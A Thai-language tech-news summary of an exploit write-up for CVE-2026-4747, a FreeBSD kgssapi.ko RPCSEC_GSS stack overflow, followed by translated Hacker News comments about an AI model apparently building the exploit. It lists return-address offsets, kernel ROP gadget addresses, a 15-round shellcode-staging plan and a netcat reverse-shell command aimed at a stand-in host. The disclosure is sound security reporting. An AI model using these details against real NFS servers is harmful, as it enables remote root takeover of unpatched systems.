3 คะแนน โดย GN⁺ 27 일 전 | 1 ความคิดเห็น | แชร์ทาง WhatsApp
  • ใน โมดูล kgssapi.ko ของ FreeBSD เกิด ช่องโหว่ stack buffer overflow ระหว่างการประมวลผลการยืนยันตัวตน RPCSEC_GSS ทำให้สามารถรันโค้ดจากระยะไกลได้
  • ฟังก์ชัน svc_rpc_gss_validate() คัดลอกข้อมูล credential โดยไม่มีการตรวจสอบขอบเขต ทำให้เขียนทับไปถึง return address
  • ผู้โจมตีสามารถใช้ Kerberos ticket ที่ถูกต้อง เพื่อฉีด kernel ROP chain ผ่านเส้นทาง RPCSEC_GSS ของเซิร์ฟเวอร์ NFS
  • ผ่านการ overflow แบบ 15 ขั้น ผู้โจมตีสามารถ เขียน shellcode ขนาด 432 ไบต์ลงในพื้นที่ kernel BSS แล้วสั่งรัน เพื่อสร้าง reverse shell ที่มีสิทธิ์ root
  • FreeBSD บางเวอร์ชันในช่วง 13.5~15.0 ได้รับผลกระทบ และแพตช์ได้เพิ่ม ตรรกะตรวจสอบ oa_length

CVE-2026-4747 — Stack Buffer Overflow ใน RPCSEC_GSS ของ FreeBSD kgssapi.ko

  • ช่องโหว่ stack buffer overflow ที่เกิดขึ้นระหว่างการประมวลผลการยืนยันตัวตน RPCSEC_GSS ใน โมดูล kgssapi.ko ของ FreeBSD
  • ฟังก์ชัน svc_rpc_gss_validate() จะประกอบ RPC header ใหม่ลงใน stack buffer ขนาด 128 ไบต์ โดย คัดลอกข้อมูล credential โดยไม่มีการตรวจสอบขอบเขตของ oa_length
  • หลังจากส่วน header คงที่ 32 ไบต์ credential ที่เกินจาก 96 ไบต์ที่เหลือจะ เขียนทับตัวแปรภายใน, register ที่บันทึกไว้ และ return address
  • FreeBSD เวอร์ชัน 13.5(<p11), 14.3(<p10), 14.4(<p1), 15.0(<p5) ได้รับผลกระทบ
  • ในแพตช์ได้มีการเพิ่มเงื่อนไขเพื่อตรวจสอบก่อนคัดลอกว่า oa_length เกินขนาดบัฟเฟอร์หรือไม่

โครงสร้างของการ overflow และผลกระทบ

  • จากการวิเคราะห์ function prologue พบว่าอาร์เรย์ rpchdr อยู่ที่ [rbp-0xc0] และจุดเริ่มต้นของการคัดลอกอยู่ที่ [rbp-0xa0]
  • หลังจาก 96 ไบต์ จะเริ่มเขียนทับ RBX, R12~R15, RBP และ return address ตามลำดับ
  • ในการโจมตีจริง เนื่องจากมี GSS header และ context handle ขนาด 16 ไบต์ return address จึงอยู่ที่ไบต์ที่ 200 ของ credential body
  • โค้ดที่มีช่องโหว่นี้เข้าถึงได้เฉพาะผ่านเส้นทางการยืนยันตัวตน RPCSEC_GSS ของเซิร์ฟเวอร์ NFS เท่านั้น
  • ผู้โจมตีต้องเป็นผู้ใช้ที่มี Kerberos ticket ที่ถูกต้อง และทำให้เกิด overflow ในขั้นตอนการยืนยันตัวตน RPCSEC_GSS (DATA procedure)

การจัดสภาพแวดล้อมสำหรับการโจมตี

  • VM เป้าหมาย: FreeBSD 14.4-RELEASE amd64, เปิดใช้งานเซิร์ฟเวอร์ NFS, โหลด kgssapi.ko, และรัน MIT Kerberos KDC
  • โฮสต์ผู้โจมตี: Linux, ติดตั้งโมดูล Python3 gssapi และ MIT Kerberos client, และเข้าถึง NFS (2049/TCP) กับ KDC (88/TCP) ได้
  • สามารถตั้งค่าได้ในสภาพแวดล้อม hypervisor หลายแบบ เช่น QEMU, VMware, VirtualBox, bhyve
  • ระหว่างตั้งค่า Kerberos จำเป็นต้องกำหนด rdns=false และ dns_canonicalize_hostname=false ใน krb5.conf
  • ชื่อโฮสต์ (test) และ service principal (nfs/test@TEST.LOCAL) ระหว่าง VM กับฝั่งผู้โจมตีต้องตรงกัน

โครงสร้างของ exploit สำหรับ Remote Kernel Code Execution (RCE)

  • การโจมตีประกอบด้วย multi-stage overflow 15 รอบ
    1. ในแต่ละรอบจะสร้าง Kerberos GSS context ใหม่
    2. ส่งแพ็กเก็ต RPCSEC_GSS DATA ที่มีขนาดเกินกำหนด
    3. เขียนทับ return address ด้วย ROP gadget เพื่อเขียนข้อมูลลงในหน่วยความจำเคอร์เนลหรือรัน shellcode
    4. เรียก kthread_exit() เพื่อจบ NFS thread อย่างปกติ
  • แต่ละรอบใช้ ROP chain ราว 200 ไบต์ และ ส่ง shellcode รวม 432 ไบต์ตลอด 15 รอบ
  • FreeBSD จะสร้าง NFS thread จำนวน 8 ตัวต่อ CPU ดังนั้นจึงต้องมีอย่างน้อย 2 CPU (16 threads)

องค์ประกอบของ ROP chain

  • ROP gadget หลัก:
    • pop rdi; ret (K+0x1adcda)
    • pop rsi; ret (K+0x1cdf98)
    • pop rdx; ret (K+0x5fa429)
    • pop rax; ret (K+0x400cb4)
    • mov [rdi], rax; ret (0xffffffff80e3457c) — เขียนหน่วยความจำเคอร์เนลแบบ任意 8 ไบต์
  • รอบ 1: เรียก pmap_change_prot() เพื่อเปลี่ยนพื้นที่ kernel BSS ให้เป็น RWX
  • รอบ 2–14: ใช้ gadget mov [rdi], rax เพื่อเขียน shellcode ลง BSS ครั้งละ 32 ไบต์
  • รอบ 15: เขียน 16 ไบต์สุดท้ายแล้วกระโดดไปยัง entry point ของ shellcode

การทำงานของ shellcode

  • รันใน kernel mode (CPL 0) และ สร้าง reverse shell process ที่มีสิทธิ์ root
  • เนื่องจากไม่สามารถเรียก execve() ได้โดยตรงจาก NFS kernel thread จึงใช้โครงสร้าง 2 ขั้น
    • ฟังก์ชัน Entry: สร้าง kernel process ใหม่ผ่าน kproc_create() แล้วจบการทำงาน
    • ฟังก์ชัน Worker: รัน /bin/sh -c "mkfifo /tmp/f;sh</tmp/f|nc ATTACKER 4444>/tmp/f"
  • มีการรีเซ็ตรีจิสเตอร์ DR7 เพื่อหลีกเลี่ยง debug exception
  • ล้างค่าแฟลก P_KPROC เพื่อให้ fork_exit() เดินไปตามเส้นทาง userret แทน kthread_exit()
  • ผลลัพธ์คือ /bin/sh จะรันใน user mode ด้วยสิทธิ์ uid 0(root)

กระบวนการแก้ปัญหาหลัก

  • register offset ไม่ตรงกัน: ยืนยันว่า RIP offset จริงอยู่ที่ 200 ไบต์ด้วยแพตเทิร์น De Bruijn
  • MIT–Heimdal GSS ไม่เข้ากัน: แก้ปัญหาการ normalize ชื่อโฮสต์ด้วยการตั้งค่า krb5.conf
  • การสืบทอด debug register: ป้องกันข้อยกเว้น trap 1 ด้วยการรีเซ็ต DR7
  • ข้อจำกัด 400 ไบต์: ใช้ชุด pop rdi + pop rax + mov [rdi], rax เพื่อส่งข้อมูลแบบเสถียรครั้งละ 8 ไบต์
  • การใช้ NFS thread หมด: แต่ละรอบจะจบ 1 thread → ต้องมีอย่างน้อย 2 CPU

สรุปขั้นตอนการทำงานของ exploit ขั้นสุดท้าย

  • ผู้โจมตีขอรับ Kerberos ticket แล้วส่งแพ็กเก็ต overflow ของ RPCSEC_GSS จำนวน 15 ชุดตามลำดับ
  • รอบ 1: ตั้งค่า BSS เป็น RWX
  • รอบ 2–14: เขียน shellcode 416 ไบต์
  • รอบ 15: เขียน 16 ไบต์สุดท้ายและรัน shellcode
  • shellcode จะสร้าง process ใหม่ด้วย kproc_create() และรัน /bin/sh
  • ผู้โจมตีจะได้ root shell ผ่านเซสชัน nc
  • กระบวนการทั้งหมดใช้เวลาราว 45 วินาที และเสร็จสิ้นด้วย RPC packet ทั้งหมด 15 ชุด

1 ความคิดเห็น

 
GN⁺ 27 일 전
ความเห็นจาก Hacker News
  • ประเด็นสำคัญคือ Claude ไม่ได้ค้นพบบั๊กด้วยตัวเองโดยตรง แต่รับ รายงาน CVE ที่เผยแพร่แล้วมา แล้วเขียนโปรแกรมเพื่อโจมตีช่องโหว่นั้น
    แต่เมื่อดูจากความเร็วของพัฒนาการในตอนนี้ ก็คงอีกไม่นานก่อนที่โมเดลอย่าง Claude จะสามารถวิเคราะห์ซอร์สโค้ดของเคอร์เนลหรือบริการสำคัญ และค้นหา CVE ใหม่โดยอัตโนมัติ ผ่านการทดลองซ้ำๆ ใน VM

    • ถ้าถามว่านี่เป็นเรื่องดีหรือไม่ดี ฉันคิดว่าเป็น เรื่องดี
      เมื่อก่อนต้นทุนในการหา CVE สูงมาก จึงมีแค่ผู้โจมตีที่หวังผลประโยชน์ทางการเงินเท่านั้นที่พยายามทำ
      ตอนนี้ต้นทุนต่ำลงแล้ว ทำให้นักวิจัยที่มีเจตนาดีก็ค้นพบได้ง่ายขึ้น และเกิด สภาพแวดล้อมที่สามารถแพตช์ได้ ก่อนจะถูกนำไปใช้โจมตี
    • เมื่อก่อนการ ตั้งค่าสภาพแวดล้อม fuzzing ยุ่งยากมาก
      แต่ตอนนี้โมเดลอย่าง Claude Code ดูน่าจะสามารถวิเคราะห์ codebase แล้วเสนอได้ว่าควร fuzz test ตรงไหนและอย่างไร รวมถึงตรวจสอบ crash และเรียนรู้ซ้ำไปเรื่อยๆ จนค้นพบ CVE ได้
    • ที่จริงแล้ว CVE นี้ Claude เป็นคน ค้นพบตั้งแต่แรก
      Nicholas Carlini ค้นพบมันโดยใช้ Claude ที่ Anthropic และจากผลนั้นจึงมีการเขียนรายงาน CVE ขึ้นมา
    • แค่กำหนดเงื่อนไขที่การทดสอบควรล้มเหลว แล้วสั่งให้เอเจนต์ทำให้การทดสอบนั้นผ่านก็พอ
      LLM ค่อนข้างเหมาะกับ fuzzing แบบอัตโนมัติ ลักษณะนี้
    • ยังมีวิดีโอที่เกี่ยวข้องด้วย: ลิงก์ YouTube
      Claude ค้นหา CVE ได้ถึงระดับผู้เชี่ยวชาญแล้วในตอนนี้
  • บริษัท Calif ของ Thai Duong ได้โพสต์ บทความบล็อก ที่สรุปกรณีนี้ไว้
    มี prompt ที่ใช้รวมอยู่ด้วย และบั๊กนี้ก็เป็นสิ่งที่ Claude ค้นพบผ่าน Nicholas Carlini เช่นกัน

  • FreeBSD 14.x ไม่มี KASLR (การสุ่มพื้นที่แอดเดรสของเคอร์เนล) หรือ stack canary จึงทำให้โจมตีได้ง่าย
    เลยสงสัยว่าใน FreeBSD 15.x จะมีการปรับปรุงเรื่องนี้หรือไม่
    ทั้งนี้ NetBSD มี ฟีเจอร์ KASLR อยู่แล้ว

    • แต่ตั้งแต่ FreeBSD 13.2 เป็นต้นมา KASLR ถูกเปิดใช้งานเป็นค่าเริ่มต้นแล้ว
      ตรวจสอบได้ด้วย sysctl kern.elf64.aslr.enable: 1
    • ยังมีเสียงวิจารณ์ต่อ KASLR ของ Linux kernel ด้วย
      ตาม โพสต์ในฟอรัมที่เกี่ยวข้อง มีความเห็นว่า KASLR ให้เพียงความรู้สึกว่าปลอดภัย แต่เพิ่มความปลอดภัยจริงได้เพียงเล็กน้อย
  • ถ้าดูการนำเสนอ “Black-Hat LLMs” ที่เพิ่งเผยแพร่ จะเห็นว่า LLM กำลังเก่งขึ้นเรื่อยๆ ในการค้นหาช่องโหว่และการทำ exploit

    • จริงๆ แล้วกระแสแบบนี้เป็นสิ่งที่คาดการณ์กันได้อยู่แล้ว
      มีสัญญาณมาตั้งแต่ตอนที่ Sam Altman โพสต์ ทวีต เมื่อเดือนธันวาคมปีที่แล้วว่าเขากำลังรับสมัคร Head of Preparedness
  • สิ่งที่ยากที่สุดคือการ ค้นหาช่องโหว่ ไม่ใช่การแก้ไข
    นักวิจัยด้านความปลอดภัยส่วนใหญ่ไม่เปิดเผยช่องโหว่เพราะเหตุผลทางการเงิน
    ดังนั้นหากสามารถตรวจจับแบบอัตโนมัติได้ แม้จะมีความเสี่ยง แต่ ในระยะยาวจะให้ประโยชน์มหาศาล

    • แต่ก็หวังว่าระบบอัตโนมัติแบบนี้จะไม่หยุดแค่การหาบั๊ก แต่จะ ทำให้การแก้ไขเป็นอัตโนมัติด้วย
      ไม่เช่นนั้นมันอาจกลายเป็นภาระอีกอย่างให้กับนักพัฒนาโอเพนซอร์ส
      คล้ายกับกรณี ข้อถกเถียงเรื่อง security patch ระหว่าง Google กับ FFmpeg ในอดีต
  • ขอบคุณที่แชร์ ชุด prompt ที่เผยแพร่สู่สาธารณะ

    • เมื่อดู prompt จริงจะเห็นว่า Claude ไม่ได้เขียน exploit ได้สำเร็จในครั้งเดียว แต่เป็นกระบวนการสนทนาแบบโต้ตอบที่ผ่าน feedback และการปรับแต่งหลายรอบ
  • สำหรับทีมพัฒนา ระบบอัตโนมัติแบบนี้อาจเป็น การประหยัดเวลา แต่สำหรับผู้ใช้ทั่วไปอาจไม่ได้มีคุณค่ามากนัก
    ทุกวันนี้บั๊กระดับเคอร์เนลก็ไม่ได้ถูกค้นหาด้วยมืออยู่แล้ว
    ถึงอย่างนั้นที่คนพูดถึงแต่ Claude ก็คงเป็นเพราะ ผลด้านการประชาสัมพันธ์ของ Anthropic มากกว่า

  • ตอนนี้สิ่งที่ควรโฟกัสไม่ใช่แค่ข้อเท็จจริงว่า “Claude เขียนโค้ดได้” แต่คือ คุณภาพและความสามารถในการบำรุงรักษา ของโค้ดนั้นเป็นอย่างไร

    • ฉันก็คิดเหมือนกัน
      อยากรู้ว่าโค้ดที่ Claude เขียนนั้นมีโครงสร้างที่ ดูแลรักษาได้จริง หรือแค่เละเทะ
  • กรณีแบบนี้แสดงให้เห็นถึง ความเป็นอิสระและพลังของเอเจนต์
    ขณะเดียวกันก็เป็นตัวอย่างที่สะท้อน ความกังวลเรื่องการควบคุมและความจำเป็นของ governance ที่องค์กรต่างๆ รู้สึกอยู่

  • น่าสนใจที่สามารถดูประวัติ prompt ทั้งหมดได้

    • แต่ส่วนท้ายจบด้วยคำขอว่า “แสดง prompt ทั้งหมดที่ป้อนในเซสชันนี้” ดังนั้นบางส่วนอาจเป็นบันทึกจริง และบางส่วนก็อาจเป็น ผลลัพธ์หลอนของ Claude